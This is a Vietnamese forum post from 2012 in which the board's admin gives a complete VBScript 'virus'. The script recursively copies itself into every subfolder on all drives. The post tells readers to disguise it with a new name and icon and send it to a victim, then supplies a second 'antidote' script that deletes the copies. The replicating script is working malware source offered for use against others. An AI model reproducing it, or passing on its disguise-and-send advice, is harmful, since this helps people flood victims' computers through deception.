DIỄN ĐÀN K-LINK HÀ NAM
Xin chào tất cả các bạn đã đến với diễn đàn K-link ,K-link gửi những lời chúc tốt đẹp nhất đến toàn thể các bạn chúc các bạn thật nhiều nhiều niềm vui trong cuộc sống cũng như hiện tại !
K-link đang dần đổi màu nhờ sự đóng góp của tất cả các thành viên cũng như các bạn khán giả đóng góp .
Một lần nữa K-link gửi lời chi ân tới tất cả các thành viên và các bạn bốn phương lời chúc tốt đẹp nhất!

DIỄN ĐÀN K-LINK HÀ NAM

XIN CHÀO QUÝ KHÁCH ĐẾN VỚI K-LINK HÀ NAM
 
IndexPortalTìm kiếmĐăng kýĐăng Nhập

Share | 
 

  Tạo virus tự nhân bản vui!!!

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Tác giảThông điệp
Admin
Admin
Admin
avatar

Giới tính Giới tính : Nam
Zodiac Zodiac : Scorpio

Rat
Tổng số bài gửi : 1351
Reputation : 8
Join date : 23/07/2012
Age : 32
Đến từ : Thượng tổ 1- Thanh châu- Phủ lý - Hà nam

Bài gửiTiêu đề: Tạo virus tự nhân bản vui!!!    Mon Jul 30, 2012 5:34 pm


Vào START => PROGRAMS =>ACCESSORIES=>NOTEPAD
Copy đoạn mã sau:


'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub


Lưu lại với tên: thuocdoc.vbs (nhất định phải lưu lại dưới dạng .VBS)

Thay đổi tên và icon cho đẹp mắt rồi gởi cho nạn nhân. Chỉ cần 1 cú click là TRÀN NGẬP cả máy...

Nếu bạn là nạn nhân:

.Copy Đoạn Mã Sau :
'Thuoc Giai
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

Lưu lại với tên thuocgiai.vbs sau đó kích đôi vào là OK!!!

_________________
Trích dẫn :
Signature


Tất cả các bạn chú ý:

Tất cả các bài mình post có một số bài không có đường link nên mọi người thông cảm cho nhé!
Mấy anh vào ủng hộ giúp em nhá
♠♠ Tham gia vào forum em nha ♠♠
♦♦ http://k-linkhanam.coo.me ♦♦
♦♦Blog zing me: http://me.zing.vn/u/tranthihuongmo1985 ♦♦
♦♦Diễn đàn: http://k-linkhanam.forumvi.com ♦♦
Trong bất cứ hoàn cảnh nào con người đều có thể vươn lên; Quan trọng phải là người sống có trách nhiệm và có ý chí cầu tiến .!
Thấy hay thì Like hộ một cái nhé!
Về Đầu Trang Go down
http://k-linkhanam.coo.me
 
Tạo virus tự nhân bản vui!!!
Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
DIỄN ĐÀN K-LINK HÀ NAM :: Tin Học & Công Nghệ(New) :: Antir-Viruts-
Chuyển đến